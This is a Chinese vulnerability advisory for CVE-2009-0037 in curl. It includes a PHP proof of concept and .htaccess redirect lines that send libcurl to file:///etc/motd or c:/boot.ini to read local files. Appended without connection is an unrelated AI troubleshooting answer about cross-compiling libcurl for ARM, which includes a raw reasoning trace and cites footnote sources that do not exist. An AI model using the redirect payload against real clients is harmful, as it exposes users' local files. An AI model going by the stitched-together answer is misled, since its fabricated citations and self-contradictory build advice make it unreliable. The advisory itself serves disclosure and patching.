cURL/libcURL HTTP Location:重新定向绕过安全限制漏洞

cURL在处理HTTP重定向时存在漏洞,恶意服务器可通过特制URL覆盖或泄露本地文件内容,甚至执行任意命令。该漏洞影响cURL版本5.11至7.19.3,7.19.4版本已修复。

发布日期:2009-03-03
更新日期:2009-03-04

受影响系统:

Daniel Stenberg curl 5.11 - 7.19.3

不受影响系统:

Daniel Stenberg curl 7.19.4

描述:


BUGTRAQID: 33962
CVE(CAN) ID: CVE-2009-0037

cURL是命令行传输文件工具,支持FTP、FTPS、HTTP、HTTPS、GOPHER、TELNET、DICT、FILE和LDAP。

跟随HTTP Location:的cURL会重新定向到scp:或file:// URL,因此如果用户点击了特制的重新定向URL的话(例如libcurl客户端读取RSS源),恶意的HTTP服务器就可以覆盖或泄露任意本地文件系统的内容,或执行任意命令。

<*来源:David Kierznowski

链接:http://secunia.com/advisories/34138/
http://marc.info/?l=full-disclosure&m=123608232412287&q=p5
*>

测试方法:


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
// This is an example of a vulnerable peice of PHP code
// If libcurl uses CURLOPT_FOLLOWLOCATION it could lead
// to arbitrary file access.
// The malicious redirect on withdk.com looks like this
// in .htaccess:
// # for Linux
// redirect 302 /test file:///etc/motd
// # for Win32
// redirect 302 /test file:///c:/boot.ini
// print_r ( curl_version() );
$c = new cc;
$c->fetch('http://withdk.com/malicious-redirect');
class cc {
function fetch($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_URL, $url);
$result1 = curl_exec($ch);
echo $result1;
curl_close($ch);
}
}
?>

建议:


厂商补丁:

Daniel Stenberg
---------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://curl.haxx.se/download/curl-7.19.4.zip

<think>我们已知错误信息:`libcurl.so: file not recognized: File format not recognized`,并且知道`libcurl.so`是一个指向`libcurl.so.4.6.0`的符号链接。这意味着问题可能出在`libcurl.so.4.6.0`这个实际的文件上。 根据之前的分析,这个错误通常是由于库文件的架构与目标平台不匹配造成的。具体来说,我们使用的交叉编译器是`arm-linux-gnueabi-gcc`,目标平台是ARM架构,而当前链接的`libcurl.so.4.6.0`可能是为其他架构(如x86)编译的。 解决方案步骤: 1. **确认库文件架构**: 使用`file`命令检查`libcurl.so.4.6.0`的实际架构。 ```bash file /home/gezi/study/pubilc/camerademo6/curl/lib/libcurl.so.4.6.0 ``` 如果输出显示为`ELF 64-bit LSB shared object, x86-64`之类的非ARM架构,则说明库文件不对。 2. **重新编译libcurl**: 我们需要为ARM平台重新编译libcurl库。步骤如下: a. **下载libcurl源码**(如果还没有): 可以从官方下载:https://curl.se/download.html b. **配置交叉编译环境**: 确保交叉编译工具链路径已添加到`PATH`环境变量中。例如: ```bash export PATH=/home/gezi/study/work/allwinner/out/t113_i/ebyte_t113i/buildroot/buildroot/host/usr/bin:$PATH ``` c. **进入源码目录,配置并编译**: ```bash # 假设源码目录为curl-7.xx.x cd curl-7.xx.x # 清理之前可能存在的配置 make distclean # 设置交叉编译参数 ./configure --host=arm-linux-gnueabi \ --prefix=/home/gezi/study/pubilc/camerademo6/curl/arm_build \ --disable-shared # 如果需要静态库,可以加上--disable-shared,但这里我们需要动态库,所以通常不加 # 注意:如果依赖其他库(如openssl),需要先交叉编译这些依赖库,并在配置时指定路径,例如: # --with-ssl=/path/to/arm/openssl make make install ``` 这样会在`/home/gezi/study/pubilc/camerademo6/curl/arm_build`目录下生成ARM架构的libcurl库。 3. **更新编译命令**: 将程序编译命令中的头文件路径和库路径指向新编译的ARM版本库。 ```bash /home/gezi/study/work/allwinner/out/t113_i/ebyte_t113i/buildroot/buildroot/host/usr/bin/arm-linux-gnueabi-gcc -Wall \ -I/home/gezi/study/pubilc/camerademo6/curl/arm_build/include \ -o my_program camerademo.c \ -L/home/gezi/study/pubilc/camerademo6/curl/arm_build/lib \ -lcurl -pthread ``` 4. **如果问题仍然存在**: 检查是否还有其他地方引用了错误的库。可以使用`-Wl,-verbose`选项来查看链接器详细日志。 5. **注意**:确保在编译程序时没有意外地包含主机系统的头文件或链接主机系统的库。 6. **动态链接器设置**(可选): 如果程序在目标板上运行时有动态链接问题,可能需要指定动态链接器路径。在编译时添加: ```bash -Wl,--dynamic-linker=/lib/ld-linux.so.3 # 具体路径取决于目标板,可能是ld-linux-armhf.so.3等 ``` 7. **运行环境**: 将新编译的ARM版`libcurl.so.4.6.0`复制到目标板的`/usr/lib`或设置`LD_LIBRARY_PATH`环境变量指向包含该库的目录。 如果按照以上步骤操作,应该可以解决库文件格式不识别的问题。 如果用户没有libcurl源码,也可以尝试使用buildroot重新编译libcurl,因为用户已经在使用buildroot环境。在buildroot配置中启用libcurl,并确保选择正确的目标架构,然后重新编译buildroot,生成的库文件就会在输出目录中。 具体在buildroot中的操作: 1. 运行`make menuconfig` 2. 进入`Target packages` -> `Libraries` -> `Networking`,选择`curl` 3. 保存配置,然后运行`make` 4. 编译完成后,在buildroot输出目录的`host`或`target`目录下找到相应的库文件(注意:这里需要的是目标板的库,所以应该在`target`目录下,但链接时可能需要的是`staging`目录下的库,因为头文件也在那里) 然后,在编译程序时,使用buildroot生成的库路径,例如: -I/home/gezi/.../buildroot/output/host/arm-buildroot-linux-gnueabi/sysroot/usr/include -L/home/gezi/.../buildroot/output/host/arm-buildroot-linux-gnueabi/sysroot/usr/lib 这样就能确保使用正确架构的库。 总结:核心问题是要确保链接的库文件是ARM架构的,而不是x86或其他架构。 </think>### 解决 `libcurl.so: file not recognized` 错误(符号链接场景) #### 🔍 问题诊断 当 `libcurl.so` 是指向 `libcurl.so.4.6.0` 的符号链接时出现此错误,表明 **实际库文件架构不匹配** 或 **符号链接指向错误版本**。核心原因是交叉编译环境(ARM)与库文件架构(可能是 x86)不一致[^1]。 #### 🛠 详细解决步骤 ##### 1. **验证实际库文件架构** ```bash # 检查符号链接指向的实际文件 readlink -f /home/gezi/study/pubilc/camerademo6/curl/lib/libcurl.so # 验证实际文件架构(关键步骤!) file /home/gezi/study/pubilc/camerademo6/curl/lib/libcurl.so.4.6.0 ``` - ✅ **期望输出**: `ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV)` - ❌ **问题输出示例**: `ELF 64-bit LSB shared object, x86-64`(主机架构) ##### 2. **重建符号链接指向 ARM 版本** 若实际文件架构错误: ```bash # 删除错误符号链接 rm /home/gezi/study/pubilc/camerademo6/curl/lib/libcurl.so # 创建指向 ARM 版库的新符号链接 ln -s /path/to/correct/arm/libcurl.so.4.6.0 \ /home/gezi/study/pubilc/camerademo6/curl/lib/libcurl.so ``` ##### 3. **交叉编译 libcurl (ARM 版)** ```bash # 进入 curl 源码目录 cd curl-7.xx.x # 配置 ARM 交叉编译 ./configure --host=arm-linux-gnueabi \ --prefix=/path/to/arm-curl \ --with-zlib=/path/to/arm-zlib # 编译并安装到独立目录 make && make install ``` > **关键参数说明**[^2]: > - `--host`:指定 ARM 目标平台 > - `--prefix`:隔离 ARM 库安装路径 > - `--with-*`:指定 ARM 版依赖库路径 ##### 4. **更新编译命令** ```makefile # 修改 Makefile(示例) CC = /home/gezi/.../arm-linux-gnueabi-gcc CFLAGS = -I/path/to/arm-curl/include LDFLAGS = -L/path/to/arm-curl/lib -Wl,-rpath=/path/to/arm-curl/lib my_program: camerademo.c $(CC) $(CFLAGS) -o $@ $^ $(LDFLAGS) -lcurl -pthread ``` ##### 5. **验证链接器路径** ```bash # 检查链接器使用的库路径 LD_DEBUG=libs /home/gezi/.../arm-linux-gnueabi-gcc ... 2>&1 | grep libcurl ``` - 应输出 ARM 版库路径:`/path/to/arm-curl/lib/libcurl.so` #### ⚠️ 常见陷阱 1. **多层符号链接问题** 确保最终指向的实际文件(`libcurl.so.4.6.0`)是 ARM 架构,而不仅是符号链接正确[^3]。 2. **运行时库路径缺失** 在目标设备上设置: ```bash export LD_LIBRARY_PATH=/path/to/arm-curl/lib:$LD_LIBRARY_PATH ``` 3. **头文件污染** 使用 `-I` 参数显式指定 ARM 头文件路径,避免混用主机头文件[^1]。 #### 📊 架构兼容性检查表 | 文件类型 | 检查命令 | 期望架构 | |----------------|------------------|-----------------------| | 编译器 | `${CC} -v` | Target: arm-linux-gnueabi | | 库文件 (.so) | `file libcurl.so.4.6.0` | ARM ELF 32-bit | | 可执行文件 | `file my_program`| ARM ELF 32-bit | 通过以上步骤,可确保符号链接指向正确的 ARM 架构库文件,解决文件格式不识别问题[^1][^2][^3]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值